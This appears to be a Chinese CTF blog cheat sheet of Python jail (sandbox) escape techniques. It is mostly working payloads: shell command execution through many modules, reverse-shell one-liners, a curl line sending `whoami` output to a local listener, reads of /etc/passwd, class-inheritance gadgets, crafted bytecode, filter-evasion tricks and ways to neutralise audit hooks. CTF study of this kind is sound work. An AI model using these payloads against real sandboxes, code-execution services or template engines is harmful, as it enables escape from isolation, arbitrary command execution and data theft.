【CTF】Python Jail沙箱逃逸手法总结 PyJail All in One

2025-02-20 1 0

Python沙箱逃逸是近几年CTF比赛中常出现的场景,之前经常遇到自己不会的知识点,于是便总结了一下,如有纰漏欢迎指正。

Python继承链

详情可见:Flask SSTI姿势与手法总结 Cheatsheet速查表

逃逸目标

命令执行

import

from os import system as __getattr__; from __main__ import sh

os

import os
# 执行shell命令不会返回shell的输出
os.system('whoami')
# 会产生返回值,可通过read()的方式读取返回值
os.popen("whoami").read()

commands

import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")

ctypes

import ctypes
ctypes.CDLL(None).system('ls /'.encode())

threading

import threading
import os

def func():
    os.system('ls')  # 在新的线程中执行命令

t = threading.Thread(target=func)  # 创建一个新的线程
t.start()  # 开始执行新的线程

__import__('threading').Thread(target=lambda: __import__('os').system('ls')).start()

subprocess

import subprocess
subprocess.call(command, shell=True)
subprocess.Popen(command, shell=True)

multiprocessing

import multiprocessing
multiprocessing.Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()

_posixsubprocess

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

pty

import pty
pty.spawn("ls")

timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

platform

import platform
print platform.popen('dir').read()

importlib

import importlib
importlib.import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

sys

import sys
sys.modules['os'].system('calc')

linecache

import linecache
linecache.os.system('ls')

builtins

exec("__import__('os').system('calc')")

eval('__import__("os").system("calc")')

execfile('exp.py')
# py2 
execfile("E:\Python27\Lib\os.py")
system('calc')

exec(compile('__import__("os").system("calc")', '<string>', 'exec'))

反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")

其他

bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys

读写文件

file 类

# Python2 
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open 函数

open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

codecs 模块

import codecs
codecs.open('test.txt').read()

get_data 函数

FileLoader 类

# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")

相比于获取 __builtins__再使用 open 去进行读取,使用 get_data 的 payload 更短.

linecache 模块

getlines 函数

>>> import linecache
>>> linecache.getlines('/etc/passwd')
>>> __import__("linecache").getlines('/etc/passwd')

getline 函数需要第二个参数指定行号

__import__("linecache").getline('/etc/passwd',1)

license 函数

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

枚举目录

os 模块

import os
os.listdir("/")

__import__('os').listdir('/')

glob 模块

import glob
glob.glob("f*")

__import__('glob').glob("f*")

获取函数信息

python 中的每一个函数对象都有一个 __code__属性.这个__code__属性就是上面的代码对象,存放了大量有关于该函数的信息.

假设上下文存在一个函数

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

__code__属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:

  • co_argcount: 函数的参数数量,不包括可变参数和关键字参数。

  • co_cellvars: 函数内部使用的闭包变量的名称列表。

  • co_code: 函数的字节码指令序列,以二进制形式表示。

  • co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。

  • co_exceptiontable: 异常处理表,用于描述函数中的异常处理。

  • co_filename: 函数所在的文件名。

  • co_firstlineno: 函数定义的第一行所在的行号。

  • co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。

  • co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。

  • co_kwonlyargcount: 函数的关键字参数数量。

  • co_lines: 函数的源代码行列表。

  • co_linetable: 函数的行号和字节码指令索引之间的映射表。

  • co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。

  • co_name: 函数的名称。

  • co_names: 函数中使用的全局变量的名称列表。

  • co_nlocals: 函数中局部变量的数量。

  • co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。

  • co_posonlyargcount: 函数的仅位置参数数量。

  • co_qualname: 函数的限定名称,包含了函数所在的模块和类名。

  • co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。

  • co_varnames: 函数中局部变量的名称列表。

获取函数中的常量

可以使用 __code__.co_consts这种方法获取常量.

>>> get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

获取变量名称

则可以使用如下的 payload 获取 get_flag 函数中的变量信息

__globals__

get_flag.__globals__

>>> get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

获取函数字节码序列

get_flag 函数的 .__code__.co_code, 可以获取到函数的字节码序列:

>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'

字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.

>>> bytecode = get_flag.__code__.co_code
>>> dis.dis(bytecode)
          0 RESUME                   0
          2 LOAD_CONST               1
          4 STORE_FAST               1
          6 LOAD_CONST               2
          8 STORE_FAST               2
         10 LOAD_CONST               3
         12 LOAD_CONST               4
         14 BUILD_LIST               2
         16 STORE_FAST               3
         18 LOAD_FAST                0
         20 LOAD_FAST                2
         22 COMPARE_OP               2 (==)
         28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)
         30 LOAD_CONST               5
         32 RETURN_VALUE
    >>   34 LOAD_CONST               6
         36 RETURN_VALUE

虽然能获取但不太方便看,如果能够获取 __code__对象,也可以通过 dis.disassemble 获取更清晰的表示.

>>> bytecode = get_flag.__code__
>>> dis.disassemble(bytecode)
  1           0 RESUME                   0

  2           2 LOAD_CONST               1 (1)
              4 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              8 STORE_FAST               2 (var2)

  4          10 LOAD_CONST               3 ('some')
             12 LOAD_CONST               4 ('array')
             14 BUILD_LIST               2
             16 STORE_FAST               3 (var3)

  5          18 LOAD_FAST                0 (some_input)
             20 LOAD_FAST                2 (var2)
             22 COMPARE_OP               2 (==)
             28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)

  6          30 LOAD_CONST               5 ('THIS-IS-THE-FALG!')
             32 RETURN_VALUE

  8     >>   34 LOAD_CONST               6 ('Nope')
             36 RETURN_VALUE

修改函数信息

使用types.CodeType进行修改

修改常量

先打印函数常量格式

oCode = src.__code__.co_consts
print(oCode)

然后修改常量控制函数参数

src.__code__= types.CodeType(oCode.co_argcount, 
oCode.co_posonlyargcount, 
oCode.co_kwonlyargcount, 
oCode.co_nlocals, 
oCode.co_stacksize, 
oCode.co_flags,
oCode.co_code, 
(None, '/flag', 'r', 'utf-8', ('encoding',))
oCode.co_names, 
oCode.co_varnames,
oCode.co_filename,
oCode.co_name, 
oCode.co_firstlineno, 
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)

修改函数字节码

执行输入的hex

from types import CodeType
def x():pass
x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'Δ','♦','✉︎',0,bytes(),bytes(),(),())
a = x()

payload1

# From https://blog.neilhommes.xyz/docs/Writeups/2024/bctf.html#awpcode---hard

import dis

def assemble(ops):
    cache = bytes([dis.opmap["CACHE"], 0])
    ret = b""
    for op, arg in ops:
        opc = dis.opmap[op]
        ret += bytes([opc, arg])
        ret += cache * dis._inline_cache_entries[opc]
    return ret

co_code = assemble(
    [
        ("RESUME", 0),
        ("LOAD_CONST", 115),
        ("UNPACK_EX", 29),
        ("BUILD_TUPLE", 28),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("COPY", 1),
        ("CALL", 0),    # input

        ("LOAD_CONST", 115),
        ("UNPACK_EX", 21),
        ("BUILD_TUPLE", 20),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("SWAP", 2),
        ("CALL", 0),    # exec

        ("RETURN_VALUE", 0),
    ]
)
print(co_code.hex())

payload2

from pwn import *
from opcode import opmap


co_code = bytes([
                 opmap["KW_NAMES"], 0,
                 opmap["RESUME"], 0,
                 opmap["PUSH_NULL"], 0,
                 opmap["LOAD_FAST"], 82, # exec
                 opmap["LOAD_FAST"], 6, # my input
                 opmap["PRECALL"], 1,
                 opmap["CACHE"],
                 opmap["CACHE"],
                 opmap["CALL"], 1,
                 opmap["CACHE"],
                 opmap["CACHE"],
])


payload = co_code.ljust(176, b"B") # add padding util the input limit is reached
print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0")

LOAD_FAST

# Thanks to @splitline, https://blog.splitline.tw/hitcon-ctf-2022/#v-o-i-d-misc

# This is just an example
(lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=(
)), {})()["exec"]("import os;os.system('ls')")

获取环境信息

获取 python 版本

sys 模块

import sys
sys.version

platform 模块

import platform
platform.python_version()

获取 linux 版本

platform 模块

import platform
platform.uname()

获取路径

sys.path
sys.modules

沙箱逃逸

删除文件

打开文件后没有close
cat /proc/*/fd/*

删除模块

del __builtins__.__dict__['eval']

reload

reload 函数可以重新加载模块
python3需要导入importlib

reload(__builtins__)

sys.modules

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此只需要将 os 模块删除,然后再次导入

sys.modules['os'] = 'not allowed'

del sys.modules['os']
import os
os.system('ls')

globals

globals() 中存放了 builtins 模块的索引

globals()["__builtins__"]['breakpoint']

继承链

>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess 
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")


#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

栈帧

生成器

通过生成器获取全局栈帧
gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

通过f_back获取上一帧的变量从而逃逸

(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals

异步函数

通过异步函数获取该函数的局部栈帧

async def a():pass
a().cr_frame.f_globals

signal

(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))

字符串匹配

list+dict

list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])]
__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])])
list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]
list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]

unicode

http://shapecatcher.com/
Python 3 开始支持非ASCII字符的标识符。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

print(__name__)

过滤属性名

getattr

getattr(object, name[, default])
>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

__getattribute__

class MyClass:
    def __getattribute__(self, name):

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__方法

>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>

__getattr__

__getattr__是 Python 的一个魔术方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError异常

class MyClass:
    def __getattr__(self, name):
        return 'You tried to get ' + name

__globals__

__globals__可以用 func_globals 直接替换

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")

基类

__mro____bases____base__互换

''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

import

__import__

除了可以使用 import,还可以使用 __import__和 importlib.import_module来导入模块
importlib 需要进行导入后才能够使用

__import__('os')
importlib.import_module('os').system('ls')

__loader__

__loader__.load_module底层实现与 import 不同, 可以绕过audithook

__loader__.load_module('os')

[]

调用方法来获取属性

列表方法

__getitem__
pop

list.__getitem__(0)
list.pop(0)

字典方法

__getitem__
pop
get
setdefault

dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')

''

str

>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'

chr

>>> chr(56)
'8'
>>> chr(100)
'd'

list dict

list(dict(whoami=1))[0]

__doc__

__doc__变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串

().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]

bytes

接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串

bytes([115, 121, 115, 116, 101, 109]).decode()

+

构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__中取

str().join(().__doc__[19],().__doc__[23])

数字

返回值

使用一些函数的返回值获取

0:int(bool([]))Flaselen([])any(())
1:int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())

其他数字通过运算获取

repr

>>> len(repr(True))
4
>>> len(repr(bytearray))
19

len list dict

避免出现运算符

0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

空格

使用括号替换

@print\r@set\r@open\r@input\rclass\x0ca:pass

运算符

== 可以用 in 来替换
or 可以用| + -a-b来替换

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] or i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
    print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用& *替代

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] and i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

()

装饰器

@

@exec
@input
def a():pass # or class a:pass
@print
@set
@open
@input
def a():pass # or class a:pass
@print\r@set\r@open\r@input\rclass\x0ca:pass

魔术方法

enum.EnumMeta.__getitem__

f字符串

f'{__import__("os").system("whoami")}'

反序列化绕过

builtins函数

eval list dict

>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>

>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

点号和逗号

  1. 内建函数可以使用eval(list(dict(s_t_r=1))[0][::2])这样的方式获取。

  2. 模块内的函数可以先使用 __import__导入函数,然后使用 vars() 进行获取

>>> vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>

命名空间限制

python交互式解析器不能指定命名空间,可以脚本模拟

def repl():
    global_namespace = {}
    local_namespace = {}

    while True:
        try:
            code = input('>>> ')
            try:
                # Try to eval the code first.
                result = eval(code, global_namespace, local_namespace)
            except SyntaxError:
                # If a SyntaxError occurs, this might be because the user entered a statement,
                # in which case we should use exec.
                exec(code, global_namespace, local_namespace)
            else:
                print(result)
        except EOFError:
            break
        except Exception as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    repl()

限制部分模块

exec 函数的第二个参数可以指定命名空间
可以通过获取其他命名空间里的 __builtins__绕过

__import__('types').__builtins__
__import__('string').__builtins__

清空builtins

使用Python继承链获取

长度限制

交互式

input

传入一个 input 打开一个新的输入流,然后再输入最终的 payload

sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>

sys.stdin.readline()

>>> eval(sys.stdin.readline())
__import__('os').system('whoami')

sys.stdin.readlines()

>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

breakpoint

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

help

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
然后输入 os,此时会进入 os 的帮助文档。

help> os

然后在输入 !sh就可以拿到 /bin/sh, 输入 !bash则可以拿到 /bin/bash

Web

例如Flask,通过HTTP传入参数,与SSTI的打法类似

url_for.__globals__[request.args.a]
lipsum.__globals__.os[request.args.a]

多行限制

exec

exec 可以支持换行符与;

>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1

compile

compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码

eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')

海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作
可以在

<expression> := <value> if <condition> else <value>

借助海象表达式,可以通过列表来替代多行代码:

eval('[a:=__import__("os"),b:=a.system("id")]')

变量覆盖

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__']就可以访问当当前模块定义的所有函数以及全局变量

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数

gc

gc模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互

  1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。

  2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。

  3. gc.get_referrers(*objs):这个函数会返回指向 objs中任何一个对象的对象列表。

for obj in gc.get_objects():
    if '__name__' in dir(obj):
        if '__main__' in obj.__name__:
            print('Found module __main__')
            mod_main = obj
        if 'os' == obj.__name__:
            print('Found module os')
            mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

一些版本会触发 gc.get_objects hook 导致无法成功

traceback

主动抛出异常, 并获取其后要执行的代码, 然后将__exit进行替换

try:
    raise Exception()
except Exception as e:
    _, _, tb = sys.exc_info()
    nxt_frame = tb.tb_frame

    # Walk up stack frames until we find one which
    # has a reference to the audit function
    while nxt_frame:
        if 'audit' in nxt_frame.f_globals:
            break
        nxt_frame = nxt_frame.f_back

    # Neuter the __exit function
    nxt_frame.f_globals['__exit'] = print

    # Now we're free to call whatever we want
    os.system('cat /flag*')

一些版本会触发object.__getattr__hook

audit hook

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动

  • import:发生在导入模块时。

  • open:发生在打开文件时。

  • write:发生在写入文件时。

  • exec:发生在执行Python代码时。

  • compile:发生在编译Python代码时。

  • socket:发生在创建或使用网络套接字时。

  • os.systemos.popen等:发生在执行操作系统命令时。

  • subprocess.Popensubprocess.run等:发生在启动子进程时。

__loader__

__loader__实际上指向的是 _frozen_importlib.BuiltinImporter类,也可以通过别的方式进行获取

>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>

__loader__.load_module也有一个缺点就是无法导入非内建模块

_posixsubprocess

_posixsubprocess模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了_posixsubprocess.

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

3.11

def fork_exec(
    __process_args: Sequence[StrOrBytesPath] | None,
    __executable_list: Sequence[bytes],
    __close_fds: bool,
    __fds_to_keep: tuple[int, ...],
    __cwd_obj: str,
    __env_list: Sequence[bytes] | None,
    __p2cread: int,
    __p2cwrite: int,
    __c2pred: int,
    __c2pwrite: int,
    __errread: int,
    __errwrite: int,
    __errpipe_read: int,
    __errpipe_write: int,
    __restore_signals: int,
    __call_setsid: int,
    __pgid_to_set: int,
    __gid_object: SupportsIndex | None,
    __groups_list: list[int] | None,
    __uid_object: SupportsIndex | None,
    __child_umask: int,
    __preexec_fn: Callable[[], None],
    __allow_vfork: bool,
) -> int: ...
  • __process_args: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。

  • __executable_list: 可执行程序路径的列表。

  • __close_fds: 如果设置为True,则在新进程中关闭所有的文件描述符。

  • __fds_to_keep: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。

  • __cwd_obj: 新进程的工作目录。

  • __env_list: 环境变量列表,它是键和值的序列,例如:["PATH=/usr/bin", "HOME=/home/user"]

  • __p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符,用于在父子进程间进行通信。

  • __errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。

  • __restore_signals: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。

  • __call_setsid: 如果设置为1,则在新进程中创建新的会话。

  • __pgid_to_set: 设置新进程的进程组 ID。

  • __gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。

  • __child_umask: 设置新进程的 umask。

  • __preexec_fn: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。

  • __allow_vfork: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

篡改内置函数

修改白名单

WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")

exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")

不导入而获取模块

# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

AST沙箱

Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。

